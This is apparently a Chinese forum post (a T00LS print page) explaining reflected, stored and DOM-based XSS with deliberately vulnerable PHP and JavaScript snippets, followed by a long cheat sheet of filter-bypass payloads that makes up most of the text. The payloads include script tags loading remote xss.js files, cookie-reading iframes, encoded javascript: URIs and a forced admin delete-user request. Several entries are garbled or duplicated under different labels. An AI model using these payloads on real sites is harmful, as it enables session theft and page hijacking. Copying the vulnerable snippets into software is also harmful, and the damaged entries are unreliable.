1.反射型XSS
反射型XSS也被称为非持久性XSS,是现在最常见的一种XSS漏洞。XSS的Payload一般写在URL中,之后设法让被害者点击这个链接。
假设后端代码为:
<?php $username = $_GET['username']; echo $username; ?>
XSS攻击对应链接为:
http://xi.baidu.com?username=<script>alert(/xss/)</script>
2.存储型XSS
存储型XSS又称为持久型XSS,存储型XSS是最危险的一种跨站脚本。存储型XSS被服务器端接收并存储,当用户访问该网页时,这段XSS代码被读出来响应给浏览器。反射型XSS与DOM型XSS都必须依靠用户手动触发,而存储型XSS却不需要。
测试步骤如下,以留言板为例:
步骤1 添加正常的留言,使用Firebug快速寻找显示标签。
步骤2 判断内容输出(显示)的地方是在标签内还是在标签属性内,或者在其他地方。如果显示区域不在HTML属性内,则可以直接使用XSS代码注入。如果在属性内,需要先闭合标签再写入XSS代码。如果不能得知内容输出的具体位置,则可以使用模糊测试方案。
步骤3 在插入XSS Payload代码后,重新加载留言页面,XSS代码被浏览器执行。
3.DOM型XSS
DOM的全称为Document Object Model,即文档对象模型。基于DOM型的XSS是不需要与服务器交互的,它只发生在客户端处理数据阶段。简单理解DOM XSS就是出现在JavaScript代码中的XSS漏洞。
假设存在DOM XSS漏洞的前端代码如下:
<script> var temp = document.URL; var index = document.URL.indexOf("content=")+4; var par = temp.substring(index); document.write(decodeURI(par)); </script>
如果输入如下链接就会产生XSS漏洞:
http://xi.baidu.com?content=<script>alert(/xss/)</script>
这种利用也需要受害者点击链接来触发,DOM型XSS是前端代码中存在了漏洞,而反射型XSS是后端代码中存在了漏洞。反射型和存储型XSS是服务器端代码漏洞造成的,Payload在响应页面中,在DOM型XSS中,Payload不在服务器发出的HTTP响应页面中,当客户端脚本运行时(渲染页面时),Payload才会加载到脚本中执行。
常见XSS攻击方式如下。
·普通的XSS JavaScript注入:
<SCRIPT SRC=http://xi.baidu.com/XSS/xss.js></SCRIPT>
·IMG标签XSS使用JavaScript命令:
<SCRIPT SRC=http://xi.baidu.com/XSS/xss.js></SCRIPT>
·IMG标签无分号无引号:
<IMG SRC=javascript:alert('XSS')>
·IMG标签大小写不敏感:
<IMG SRC=JaVaScRiPt:alert('XSS')>
·HTML编码(必须有分号):
<IMG SRC=javascript:alert("XSS")>
·修正缺陷IMG标签:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
·formCharCode标签(计算器):
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
·十六进制编码:
<IMG SRC=java..省略..XSS')>
·嵌入式标签,将JavaScript分开:
<IMG SRC="jav ascript:alert('XSS');">
·嵌入式编码标签,将JavaScript分开:
<IMG SRC="jav ascript:alert('XSS');">
·嵌入式换行符:
<IMG SRC="jav ascript:alert('XSS');">
·嵌入式回车:
<IMG SRC="jav ascript:alert('XSS');">
·嵌入式多行注入JavaScript,这是XSS极端的例子:
<IMG SRC="javascript:alert('XSS')">
·解决限制字符(要求同页面):
<script>z='document.'</script> <script>z=z+'write("'</script> <script>z=z+'<script'</script> <script>z=z+' src=ht'</script> <script>z=z+'tp://ww'</script> <script>z=z+'w.shell'</script> <script>z=z+'.net/1.'</script> <script>z=z+'js></sc'</script> <script>z=z+'ript>")'</script> <script>eval_r(z)</script>
·Spaces和meta前的IMG标签:
<IMG SRC=" javascript:alert('XSS');">
·Non-alpha-non-digit XSS:
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
·Non-alpha-non-digit XSS to 2:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
·Non-alpha-non-digit XSS to 3:
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
·双开括号:
<<SCRIPT>alert("XSS");//<</SCRIPT>
·无结束脚本标记(仅火狐等浏览器):
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
·无结束脚本标记2:
<SCRIPT SRC=//3w.org/XSS/xss.js>
·半开的HTML/JavaScript XSS:
<IMG SRC="javascript:alert('XSS')"
·双开角括号:
<iframe src=http://3w.org/XSS.html <
·换码过滤的JavaScript:
\";alert('XSS');//
·结束Title标签:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
·Input Image:
<INPUT SRC="javascript:alert('XSS');">
·BODY Image:
<BODY BACKGROUND="javascript:alert('XSS')">
·BODY标签:
<BODY('XSS')>
·IMG Dynsrc:
<IMG DYNSRC="javascript:alert('XSS')">
·IMG Lowsrc:
<IMG LOWSRC="javascript:alert('XSS')">
·BGSOUND:
<BGSOUND SRC="javascript:alert('XSS');">
·STYLE sheet:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
·远程样式表:
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
·List-style-image(列表式):
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
·IMG VBscript:
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
·META链接url:
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
·Iframe:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
·Frame:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6
·Table:
<TABLE BACKGROUND="javascript:alert('XSS')">
·TD:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
·DIV background-image:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
·DIV expression:
<DIV STYLE="width: expression_r(alert('XSS'));">
·STYLE属性分拆表达:
<IMG STYLE="xss:expression_r(alert('XSS'))">
·匿名STYLE(组成:开角号和一个字母开头):
<XSS STYLE="xss:expression_r(alert('XSS'))">
·STYLE background-image:
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
·STYLE background:
<STYLE><STYLE> type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
·使用BASE标签:
<BASE HREF="javascript:alert('XSS');//">
·IMG嵌入式命令,可执行任意命令:
<IMG SRC="http://www.XXX.com/a.php?a=b">
·IMG嵌入式命令(a.jpg在同服务器):
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
·绕符号过滤:
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
·URL绕行:
<A HREF="http://127.0.0.1/">XSS</A>
·URL编码:
<A HREF="http://3w.org">XSS</A>
·IP十进制:
<A HREF="http://3232235521″>XSS</A>
·IP十六进制:
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
·IP八进制:
<A HREF="http://0300.0250.0000.0001″>XSS</A>
·混合编码:
<A HREF="h tt p://6 6.000146.0×7.147/"">XSS</A>
·节省[http:]:
<A HREF="//www.google.com/">XSS</A>
·节省[www]:
<A HREF="http://google.com/">XSS</A>
·JavaScript链接:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
常见XSS攻击载荷:
<IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))"> <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> <INPUT TYPE="BUTTON" action="alert('XSS')"/> "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1> "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>